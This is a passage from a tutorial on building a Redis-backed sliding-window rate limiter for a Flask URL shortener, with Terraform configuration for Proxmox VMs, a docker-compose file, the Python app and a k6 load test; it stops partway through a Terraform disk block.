<h2 id="heading-step-1-how-to-define-the-infrastructure-with-terraform"><strong>Step 1: How to Define the Infrastructure with Terraform</strong></h2>
<p>Manually setting up multiple virtual machines can be tedious and prone to errors. That's why we use Terraform, an Infrastructure as Code (IaC) tool. It lets us define our entire infrastructure in configuration files.</p>
<p><strong>Note</strong>: You can skip this section if you just want to see the rate limiter in action and how it’s used.</p>
<p>Our <a target="_blank" href="https://github.com/sravankaruturi/system-design/blob/main/infra/main.tf">main.tf</a> file defines all the components of our system. Let's look at a key piece: the Redis VM.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># --- Redis Cache for Rate Limiter ---</span>
<span class="hljs-string">resource</span> <span class="hljs-string">"proxmox_vm_qemu"</span> <span class="hljs-string">"redis_cache"</span> {

    <span class="hljs-string">vmid</span>        <span class="hljs-string">=</span> <span class="hljs-number">130</span>
    <span class="hljs-string">name</span>        <span class="hljs-string">=</span> <span class="hljs-string">"redis-cache-rate-limiter"</span>
    <span class="hljs-string">target_node</span> <span class="hljs-string">=</span> <span class="hljs-string">"pve"</span>
    <span class="hljs-string">agent</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
    <span class="hljs-string">cores</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
    <span class="hljs-string">memory</span>      <span class="hljs-string">=</span> <span class="hljs-number">1024</span>
    <span class="hljs-comment"># ... cloud-init config ...</span>
    <span class="hljs-string">ipconfig0</span>  <span class="hljs-string">=</span> <span class="hljs-string">"ip=10.0.0.130/24,gw=10.0.0.1"</span>
    <span class="hljs-comment"># ... disk and network config ...</span>

    <span class="hljs-comment"># 1. Install Docker</span>
    <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
        <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
            <span class="hljs-string">"sleep 30; sudo apt-get update -y"</span>,
            <span class="hljs-string">"sudo apt-get install -y docker.io docker-compose"</span>,
            <span class="hljs-string">"sudo mkdir -p /opt/redis"</span>
        ]
    }

    <span class="hljs-comment"># 2. Upload docker-compose file</span>
    <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
         <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"files/redis-docker-compose.yml"</span>
         <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/home/${var.ssh_user}/docker-compose.yml"</span>
    }

    <span class="hljs-comment"># 3. Move file and run docker-compose</span>
    <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
        <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
            <span class="hljs-string">"sudo mv /home/${var.ssh_user}/docker-compose.yml /opt/redis/docker-compose.yml"</span>,
            <span class="hljs-string">"cd /opt/redis &amp;&amp; sudo docker-compose up -d"</span>
        ]
    }
}
</code></pre>
<p>This block tells Terraform to create a <code>Proxmox QEMU virtual machine</code> with a specific IP address <code>(10.0.0.130)</code>. After the VM is created, it uses provisioners to connect via SSH and run commands. Here, it installs Docker, uploads our <code>redis-docker-compose.yml file</code>, and starts the Redis container.</p>
<p>The <code>redis-docker-compose.yml</code> itself is very straightforward:</p>
<pre><code class="lang-yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'3.8'</span>
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">redis:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">redis:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">redis_cache</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"6379:6379"</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">redisdata:/data</span>

<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">redisdata:</span>
</code></pre>
<p>This ensures we have a persistent, containerized Redis instance ready to serve our application. The Terraform configuration similarly defines our web servers, load balancer, and databases.</p>
<h2 id="heading-step-2-how-to-implement-the-rate-limiter-logic-in-python"><strong>Step 2: How to Implement the Rate Limiter Logic in Python</strong></h2>
<p>Now, for the heart of our system: the Python code that implements the rate limiting logic. We're using a sophisticated and memory-efficient algorithm called the Sliding Window Log.</p>
<p>The idea is simple: for each user, we keep a log of the timestamps of their recent requests. We store this log in a Redis Sorted Set.</p>
<p>Let's break down the code from <a target="_blank" href="https://github.com/sravankaruturi/system-design/blob/main/web-servers/app.py"><code>app.py</code></a>.</p>
<h3 id="heading-the-flask-appbeforerequest-hook"><strong>The Flask</strong> <code>@app.before_request</code> <strong>Hook</strong></h3>
<p>Flask allows us to run code before any request is handled by its intended view function. This is the perfect place to put our rate limiter.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> psycopg2
<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">import</span> random
<span class="hljs-keyword">import</span> redis
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask, request, redirect, jsonify

app = Flask(__name__)

<span class="hljs-comment"># --- Database Connection Details ---</span>
DB_HOST = <span class="hljs-string">"10.0.0.200"</span> 
DB_NAME = <span class="hljs-string">"urldb"</span>
DB_USER = <span class="hljs-string">"myuser"</span>
DB_PASS = <span class="hljs-string">"mypassword"</span>

REDIS_HOST = <span class="hljs-string">"10.0.0.130"</span> <span class="hljs-comment"># IP of your redis-cache-lxc</span>

<span class="hljs-comment"># --- Rate Limiter Settings ---</span>
RATE_LIMIT_COUNT = <span class="hljs-number">10</span>  <span class="hljs-comment"># 10 requests</span>
RATE_LIMIT_WINDOW = <span class="hljs-number">60</span> <span class="hljs-comment"># per 60 seconds</span>

<span class="hljs-comment"># Establish a reusable Redis connection</span>
redis_client = redis.Redis(host=REDIS_HOST, port=<span class="hljs-number">6379</span>, decode_responses=<span class="hljs-literal">True</span>)

<span class="hljs-meta">@app.before_request</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rate_limiter</span>():</span>
    <span class="hljs-comment"># Use the user's IP address as the key</span>
    <span class="hljs-comment"># In a real app, you'd handle proxies via request.environ.get('HTTP_X_FORWARDED_FOR', request.remote_addr)</span>
    key = <span class="hljs-string">f"rate_limit:<span class="hljs-subst">{request.remote_addr}</span>"</span>
    now = time.time()

    <span class="hljs-comment"># Use a Redis pipeline for atomic operations</span>
    pipe = redis_client.pipeline()
    <span class="hljs-comment"># 1. Add current request timestamp. The score and member are the same.</span>
    pipe.zadd(key, {str(now): now})
    <span class="hljs-comment"># 2. Remove all timestamps older than our window</span>
    pipe.zremrangebyscore(key, <span class="hljs-number">0</span>, now - RATE_LIMIT_WINDOW)
    <span class="hljs-comment"># 3. Get the count of remaining timestamps</span>
    pipe.zcard(key)
    <span class="hljs-comment"># 4. Set an expiration on the key so it cleans itself up</span>
    pipe.expire(key, RATE_LIMIT_WINDOW)

    <span class="hljs-comment"># Execute the pipeline and get the results</span>
    results = pipe.execute()
    request_count = results[<span class="hljs-number">2</span>] <span class="hljs-comment"># The result of the zcard command</span>

    <span class="hljs-keyword">if</span> request_count &gt; RATE_LIMIT_COUNT:
        <span class="hljs-comment"># Return a 429 Too Many Requests error</span>
        <span class="hljs-keyword">return</span> jsonify(error=<span class="hljs-string">"Rate limit exceeded"</span>), <span class="hljs-number">429</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_db_connection</span>():</span>
    conn = psycopg2.connect(host=DB_HOST, dbname=DB_NAME, user=DB_USER, password=DB_PASS)
    <span class="hljs-keyword">return</span> conn

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">init_db</span>():</span>
    conn = get_db_connection()
    cur = conn.cursor()
    cur.execute(<span class="hljs-string">'''
        CREATE TABLE IF NOT EXISTS urls (
            id SERIAL PRIMARY KEY,
            short_code VARCHAR(6) UNIQUE NOT NULL,
            original_url TEXT NOT NULL
        );
    '''</span>)
    <span class="hljs-comment"># Check if the index exists before creating it</span>
    cur.execute(<span class="hljs-string">'''
        SELECT 1 FROM pg_class c JOIN pg_namespace n ON n.oid = c.relnamespace
        WHERE c.relname = 'idx_original_url' AND n.nspname = 'public';
    '''</span>)
    <span class="hljs-keyword">if</span> cur.fetchone() <span class="hljs-keyword">is</span> <span class="hljs-literal">None</span>:
        cur.execute(<span class="hljs-string">'CREATE INDEX idx_original_url ON urls (original_url);'</span>)
    conn.commit()
    cur.close()
    conn.close()

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_short_code</span>(<span class="hljs-params">length=<span class="hljs-number">6</span></span>):</span>
    chars = string.ascii_letters + string.digits
    <span class="hljs-keyword">return</span> <span class="hljs-string">''</span>.join(random.choice(chars) <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(length))

<span class="hljs-meta">@app.route("/", methods=['GET'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">index</span>():</span>
    <span class="hljs-keyword">return</span> <span class="hljs-string">"URL Shortener is running!\n"</span>, <span class="hljs-number">200</span>

<span class="hljs-meta">@app.route('/shorten', methods=['POST'])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">shorten_url</span>():</span>
    original_url = request.form[<span class="hljs-string">'url'</span>]
    conn = get_db_connection()
    cur = conn.cursor()

    cur.execute(<span class="hljs-string">"SELECT short_code FROM urls WHERE original_url = %s"</span>, (original_url,))
    existing_url = cur.fetchone()

    <span class="hljs-keyword">if</span> existing_url:
        short_code = existing_url[<span class="hljs-number">0</span>]
    <span class="hljs-keyword">else</span>:
        short_code = generate_short_code()
        cur.execute(<span class="hljs-string">"INSERT INTO urls (short_code, original_url) VALUES (%s, %s)"</span>, (short_code, original_url))
        conn.commit()

    cur.close()
    conn.close()

    <span class="hljs-keyword">return</span> jsonify(short_url=<span class="hljs-string">f"/<span class="hljs-subst">{short_code}</span>"</span>)

<span class="hljs-meta">@app.route('/&lt;short_code&gt;')</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">redirect_to_url</span>(<span class="hljs-params">short_code</span>):</span>
    conn = get_db_connection()
    cur = conn.cursor()
    cur.execute(<span class="hljs-string">"SELECT original_url FROM urls WHERE short_code = %s"</span>, (short_code,))
    url_record = cur.fetchone()
    cur.close()
    conn.close()

    <span class="hljs-keyword">if</span> url_record:
        <span class="hljs-keyword">return</span> redirect(url_record[<span class="hljs-number">0</span>])
    <span class="hljs-keyword">else</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">"URL not found"</span>, <span class="hljs-number">404</span>

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    init_db() 
    app.run(host=<span class="hljs-string">'0.0.0.0'</span>, port=<span class="hljs-number">5000</span>)
</code></pre>
<h3 id="heading-how-it-works-step-by-step"><strong>How It Works, Step-by-Step</strong></h3>
<ol>
<li><p><strong>Identify the User:</strong> We create a unique Redis key for each user based on their IP address: <code>rate_limit:1.2.3.4</code>.</p>
</li>
<li><p><strong>Use a Pipeline:</strong> Network latency can be a bottleneck. A Redis pipeline bundles multiple commands into a single request-response cycle. This is much more efficient than sending them one by one. It also ensures the sequence of commands runs without being interrupted by commands from other clients.</p>
</li>
<li><p><strong>Log the Current Request (ZADD):</strong> We add the current timestamp (as a Unix epoch) to a sorted set. We use the timestamp for both the "member" and the "score," which allows us to easily filter by time.</p>
</li>
<li><p><strong>Clean Up Old Requests (ZREMRANGEBYSCORE):</strong> This is the "sliding window" part. We remove any timestamps from the set that are older than our <code>RATE_LIMIT_WINDOW</code> (60 seconds). This efficiently discards requests that are no longer relevant to the current rate limit period.</p>
</li>
<li><p><strong>Count the Recent Requests (ZCARD):</strong> We get the cardinality (the number of items) in the set. After the previous step, this number is our count of requests within the last 60 seconds.</p>
</li>
<li><p><strong>Mark the current record to expire (EXPIRE):</strong> We set an expiration on the key itself. If a user stops making requests, Redis will automatically delete their rate limit data after 60 seconds, preventing memory from filling up with old keys.</p>
</li>
<li><p><strong>Execute and Check:</strong> The <code>pipe.execute()</code> command sends all our bundled commands to Redis. We then check the result of our ZCARD command. If the count exceeds our <code>RATE_LIMIT_COUNT</code>, we immediately return a 429 error.</p>
</li>
</ol>
<p>This approach is incredibly fast and efficient. All the heavy lifting is done inside Redis, which is optimized for these kinds of operations.</p>
<h2 id="heading-step-3-containerizing-and-testing"><strong>Step 3: Containerizing and Testing</strong></h2>
<p>To deploy our application consistently across multiple VMs, we use Docker. Our Dockerfile is standard for a Python application: it starts from a Python image, installs dependencies from <code>requirements.txt</code>, copies the application code, and defines the command to run the app.</p>
<p>But how do we know it works? We test it!</p>
<p>We use <code>k6</code>, a modern load testing tool, to simulate heavy traffic. Our test script, <code>rate-test.js</code>, is designed specifically to verify the rate limiter.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> http <span class="hljs-keyword">from</span> <span class="hljs-string">'k6/http'</span>;
<span class="hljs-keyword">import</span> { check, sleep } <span class="hljs-keyword">from</span> <span class="hljs-string">'k6'</span>;

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> options = {
  <span class="hljs-attr">stages</span>: [
    <span class="hljs-comment">// Ramp up to 20 users. This is more than the 10 req/min limit</span>
    <span class="hljs-comment">// and should trigger the rate limiter.</span>
    { <span class="hljs-attr">duration</span>: <span class="hljs-string">'30s'</span>, <span class="hljs-attr">target</span>: <span class="hljs-number">20</span> },
    { <span class="hljs-attr">duration</span>: <span class="hljs-string">'1m'</span>, <span class="hljs-attr">target</span>: <span class="hljs-number">20</span> },
    { <span class="hljs-attr">duration</span>: <span class="hljs-string">'10s'</span>, <span class="hljs-attr">target</span>: <span class="hljs-number">0</span> },
  ],
};

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> url = <span class="hljs-string">'http://10.0.0.100/shorten'</span>; <span class="hljs-comment">// The Load Balancer IP</span>
  <span class="hljs-keyword">const</span> payload = { <span class="hljs-attr">url</span>: <span class="hljs-string">`https://www.test-ratelimit-<span class="hljs-subst">${<span class="hljs-built_in">Math</span>.random()}</span>.com`</span> };

  <span class="hljs-keyword">const</span> res = http.post(url, payload);

  <span class="hljs-comment">// Check if the request was successful OR if it was correctly rate-limited</span>
  check(res, {
    <span class="hljs-string">'status is 200 (OK)'</span>: <span class="hljs-function">(<span class="hljs-params">r</span>) =&gt;</span> r.status === <span class="hljs-number">200</span>,
    <span class="hljs-string">'status is 429 (Too Many Requests)'</span>: <span class="hljs-function">(<span class="hljs-params">r</span>) =&gt;</span> r.status === <span class="hljs-number">429</span>,
  });

  sleep(<span class="hljs-number">1</span>);
}
</code></pre>
<p>The stages array configures the test to gradually increase the number of virtual users to 20. Since our rate limit is 10 requests per minute, this load is guaranteed to trigger the limiter.</p>
<p>The <code>check</code> function is the crucial part. It verifies that the server's response code is either 200 (meaning the request was successful) or 429 (meaning our rate limiter correctly blocked the request).</p>
<p>We should see about 10 of our requests go through of the around 1600 requests per minute that we send from the same IP address.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758477504110/3a2f3f0f-8db0-453d-8900-42a6d0966a11.gif" alt="A gif showing the test run of the load testing script" class="image--center mx-auto" width="2640" height="1416" loading="lazy"></p>
<p>We can also check the logs on our webserver to see all the requests that were sent to it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758477959201/80a39d07-1c4e-4d45-8a42-9ac2ce6f360d.gif" alt="A small gif demonstrating Web Server Logs" class="image--center mx-auto" width="2640" height="1416" loading="lazy"></p>
<p>And if we look at the Redis cache/database itself, we’ll see all the keys and the TTL at which they expire.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758478780827/6a07a2ee-0ad0-4b60-899f-d6a0453edbe7.png" alt="6a07a2ee-0ad0-4b60-899f-d6a0453edbe7" class="image--center mx-auto" width="3246" height="1834" loading="lazy"></p>
<p>This is how we rate limit applications using a Redis Cache Server.</p>
<p>Here are the complete files used in the project.</p>
<pre><code class="lang-yaml">    <span class="hljs-string">terraform</span> {
    <span class="hljs-string">required_providers</span> {
        <span class="hljs-string">proxmox</span> <span class="hljs-string">=</span> {
        <span class="hljs-string">source</span>  <span class="hljs-string">=</span> <span class="hljs-string">"telmate/proxmox"</span>
        <span class="hljs-string">version</span> <span class="hljs-string">=</span> <span class="hljs-string">"3.0.2-rc04"</span>
        }
    }
    }

    <span class="hljs-string">provider</span> <span class="hljs-string">"proxmox"</span> {
    <span class="hljs-string">pm_api_url</span>          <span class="hljs-string">=</span> <span class="hljs-string">var.proxmox_api_url</span>
    <span class="hljs-string">pm_api_token_id</span>     <span class="hljs-string">=</span> <span class="hljs-string">var.proxmox_api_token_id</span>
    <span class="hljs-string">pm_api_token_secret</span> <span class="hljs-string">=</span> <span class="hljs-string">var.proxmox_api_token_secret</span>
    <span class="hljs-string">pm_tls_insecure</span>     <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
    }

    <span class="hljs-comment"># --- Shared Provisioner Connection Settings ---</span>
    <span class="hljs-string">locals</span> {
        <span class="hljs-string">connection_settings</span> <span class="hljs-string">=</span> {
            <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
            <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
            <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
        }
    }

    <span class="hljs-comment"># --- Database LXC Containers ---</span>
    <span class="hljs-string">resource</span> <span class="hljs-string">"proxmox_lxc"</span> <span class="hljs-string">"postgres_db"</span> {
    <span class="hljs-string">hostname</span>     <span class="hljs-string">=</span> <span class="hljs-string">"postgres-db-lxc"</span>
    <span class="hljs-string">target_node</span>  <span class="hljs-string">=</span> <span class="hljs-string">var.target_node</span>
    <span class="hljs-string">ostemplate</span>   <span class="hljs-string">=</span> <span class="hljs-string">var.lxc_template</span>

    <span class="hljs-string">rootfs</span> {
        <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
        <span class="hljs-string">size</span> <span class="hljs-string">=</span> <span class="hljs-string">"8G"</span>
    }

    <span class="hljs-string">password</span>     <span class="hljs-string">=</span> <span class="hljs-string">"admin"</span>
    <span class="hljs-string">unprivileged</span> <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
    <span class="hljs-string">start</span>        <span class="hljs-string">=</span> <span class="hljs-literal">true</span>

    <span class="hljs-string">features</span> {
        <span class="hljs-string">nesting</span> <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-comment"># keyctl = true</span>
    }

    <span class="hljs-string">network</span> {
        <span class="hljs-string">name</span>   <span class="hljs-string">=</span> <span class="hljs-string">"eth0"</span>
        <span class="hljs-string">bridge</span> <span class="hljs-string">=</span> <span class="hljs-string">"vmbr0"</span>
        <span class="hljs-string">ip</span>     <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.200/24"</span>
        <span class="hljs-string">gw</span>     <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.1"</span>
    }

    <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
        <span class="hljs-string">connection</span> {
        <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
        <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
        <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
        <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">split("/"</span>, <span class="hljs-string">self.network</span>[<span class="hljs-number">0</span>]<span class="hljs-string">.ip)</span>[<span class="hljs-number">0</span>]
        }
        <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
        <span class="hljs-string">"sudo apt-get update"</span>,
        <span class="hljs-string">"sudo apt-get install -y docker.io docker-compose python3-setuptools"</span>,
        <span class="hljs-string">"sudo usermod -aG docker ${var.ssh_user}"</span>,
        <span class="hljs-string">"sudo mkdir -p /opt/postgres"</span>,
        <span class="hljs-string">"sudo chown ${var.ssh_user}:${var.ssh_user} /opt/postgres"</span>
        ]
    }

    <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
        <span class="hljs-string">connection</span> {
        <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
        <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
        <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
        <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">split("/"</span>, <span class="hljs-string">self.network</span>[<span class="hljs-number">0</span>]<span class="hljs-string">.ip)</span>[<span class="hljs-number">0</span>]
        }
        <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"../databases/pg-docker-compose.yml"</span>
        <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/opt/postgres/docker-compose.yml"</span>
    }

    <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
        <span class="hljs-string">inline</span>     <span class="hljs-string">=</span> [<span class="hljs-string">"cd /opt/postgres &amp;&amp; sudo docker-compose up -d"</span>]

        <span class="hljs-string">connection</span> {
        <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
        <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
        <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
        <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">split("/"</span>, <span class="hljs-string">self.network</span>[<span class="hljs-number">0</span>]<span class="hljs-string">.ip)</span>[<span class="hljs-number">0</span>]
        }
    }
    }

    <span class="hljs-string">resource</span> <span class="hljs-string">"proxmox_lxc"</span> <span class="hljs-string">"mongo_db"</span> {
        <span class="hljs-string">hostname</span>    <span class="hljs-string">=</span> <span class="hljs-string">"mongo-db-lxc"</span>
        <span class="hljs-string">target_node</span> <span class="hljs-string">=</span> <span class="hljs-string">var.target_node</span>
        <span class="hljs-string">ostemplate</span>  <span class="hljs-string">=</span> <span class="hljs-string">var.lxc_template</span>

        <span class="hljs-string">rootfs</span> {
            <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
            <span class="hljs-string">size</span> <span class="hljs-string">=</span> <span class="hljs-string">"8G"</span>
        }

        <span class="hljs-string">password</span>    <span class="hljs-string">=</span> <span class="hljs-string">"admin"</span>
        <span class="hljs-string">unprivileged</span> <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-string">start</span>       <span class="hljs-string">=</span> <span class="hljs-literal">true</span>

        <span class="hljs-string">features</span> {
            <span class="hljs-string">nesting</span> <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-comment"># keyctl = true # Somehow this is blocking the apply command</span>
        }

        <span class="hljs-string">network</span> {
            <span class="hljs-string">name</span>   <span class="hljs-string">=</span> <span class="hljs-string">"eth0"</span>
            <span class="hljs-string">bridge</span> <span class="hljs-string">=</span> <span class="hljs-string">"vmbr0"</span>
            <span class="hljs-string">ip</span>     <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.210/24"</span>
            <span class="hljs-string">gw</span>     <span class="hljs-string">=</span> <span class="hljs-string">"10.0.0.1"</span>
        }

        <span class="hljs-comment"># Provisioners similar to postgres_db</span>
        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">connection</span> {
                <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
                <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
                <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
                <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">split("/"</span>, <span class="hljs-string">self.network</span>[<span class="hljs-number">0</span>]<span class="hljs-string">.ip)</span>[<span class="hljs-number">0</span>]
            }
            <span class="hljs-string">inline</span> <span class="hljs-string">=</span> [
            <span class="hljs-string">"sudo apt-get update"</span>,
            <span class="hljs-string">"sudo apt-get install -y docker.io docker-compose python3-setuptools"</span>,
            <span class="hljs-string">"sudo usermod -aG docker ${var.ssh_user}"</span>,
            <span class="hljs-string">"sudo mkdir -p /opt/mongo"</span>,
            <span class="hljs-string">"sudo chown ${var.ssh_user}:${var.ssh_user} /opt/mongo"</span>
            ]
        }

        <span class="hljs-string">provisioner</span> <span class="hljs-string">"file"</span> {
            <span class="hljs-string">connection</span> {
            <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
            <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
            <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
            <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">split("/"</span>, <span class="hljs-string">self.network</span>[<span class="hljs-number">0</span>]<span class="hljs-string">.ip)</span>[<span class="hljs-number">0</span>]
            }
            <span class="hljs-string">source</span>      <span class="hljs-string">=</span> <span class="hljs-string">"../databases/mongo-docker-compose.yml"</span>
            <span class="hljs-string">destination</span> <span class="hljs-string">=</span> <span class="hljs-string">"/opt/mongo/docker-compose.yml"</span>
        }

        <span class="hljs-string">provisioner</span> <span class="hljs-string">"remote-exec"</span> {
            <span class="hljs-string">connection</span> {
            <span class="hljs-string">type</span>        <span class="hljs-string">=</span> <span class="hljs-string">"ssh"</span>
            <span class="hljs-string">user</span>        <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
            <span class="hljs-string">private_key</span> <span class="hljs-string">=</span> <span class="hljs-string">file(var.ssh_private_key_path)</span>
            <span class="hljs-string">host</span>        <span class="hljs-string">=</span> <span class="hljs-string">split("/"</span>, <span class="hljs-string">self.network</span>[<span class="hljs-number">0</span>]<span class="hljs-string">.ip)</span>[<span class="hljs-number">0</span>]
            }
            <span class="hljs-string">inline</span>     <span class="hljs-string">=</span> [<span class="hljs-string">"cd /opt/mongo &amp;&amp; docker-compose up -d"</span>]
        }
    }

    <span class="hljs-comment"># --- Redis Cache for Rate Limiter ---</span>
    <span class="hljs-string">resource</span> <span class="hljs-string">"proxmox_vm_qemu"</span> <span class="hljs-string">"redis_cache"</span> {

        <span class="hljs-string">vmid</span>        <span class="hljs-string">=</span> <span class="hljs-number">130</span>
        <span class="hljs-string">name</span>        <span class="hljs-string">=</span> <span class="hljs-string">"redis-cache-rate-limiter"</span>
        <span class="hljs-string">target_node</span> <span class="hljs-string">=</span> <span class="hljs-string">"pve"</span>
        <span class="hljs-string">agent</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
        <span class="hljs-string">cpu</span> {
            <span class="hljs-string">cores</span>       <span class="hljs-string">=</span> <span class="hljs-number">1</span>
        }

        <span class="hljs-string">memory</span>      <span class="hljs-string">=</span> <span class="hljs-number">1024</span>
        <span class="hljs-string">boot</span>        <span class="hljs-string">=</span> <span class="hljs-string">"order=scsi0"</span> <span class="hljs-comment"># has to be the same as the OS disk of the template</span>
        <span class="hljs-string">clone</span>       <span class="hljs-string">=</span> <span class="hljs-string">"debian12-cloudinit"</span> <span class="hljs-comment"># The name of the template</span>
        <span class="hljs-string">scsihw</span>      <span class="hljs-string">=</span> <span class="hljs-string">"virtio-scsi-single"</span>
        <span class="hljs-string">vm_state</span>    <span class="hljs-string">=</span> <span class="hljs-string">"running"</span>
        <span class="hljs-string">automatic_reboot</span> <span class="hljs-string">=</span> <span class="hljs-literal">true</span>

        <span class="hljs-comment"># Cloud-Init configuration</span>
        <span class="hljs-string">cicustom</span>   <span class="hljs-string">=</span> <span class="hljs-string">"vendor=local:snippets/qemu-guest-agent.yml"</span> <span class="hljs-comment"># /var/lib/vz/snippets/qemu-guest-agent.yml</span>
        <span class="hljs-string">ciupgrade</span>  <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-string">nameserver</span> <span class="hljs-string">=</span> <span class="hljs-string">"1.1.1.1 8.8.8.8"</span>
        <span class="hljs-string">ipconfig0</span>  <span class="hljs-string">=</span> <span class="hljs-string">"ip=10.0.0.130/24,gw=10.0.0.1"</span>
        <span class="hljs-string">skip_ipv6</span>  <span class="hljs-string">=</span> <span class="hljs-literal">true</span>
        <span class="hljs-string">ciuser</span>     <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_user</span>
        <span class="hljs-string">cipassword</span> <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_password</span>
        <span class="hljs-string">sshkeys</span>    <span class="hljs-string">=</span> <span class="hljs-string">var.ssh_key</span>

        <span class="hljs-comment"># Most cloud-init images require a serial device for their display</span>
        <span class="hljs-string">serial</span> {
            <span class="hljs-string">id</span> <span class="hljs-string">=</span> <span class="hljs-number">0</span>
        }

        <span class="hljs-string">disks</span> {
            <span class="hljs-string">scsi</span> {
            <span class="hljs-string">scsi0</span> {
                <span class="hljs-comment"># We have to specify the disk from our template, else Terraform will think it's not supposed to be there</span>
                <span class="hljs-string">disk</span> {
                <span class="hljs-string">storage</span> <span class="hljs-string">=</span> <span class="hljs-string">"local-lvm"</span>
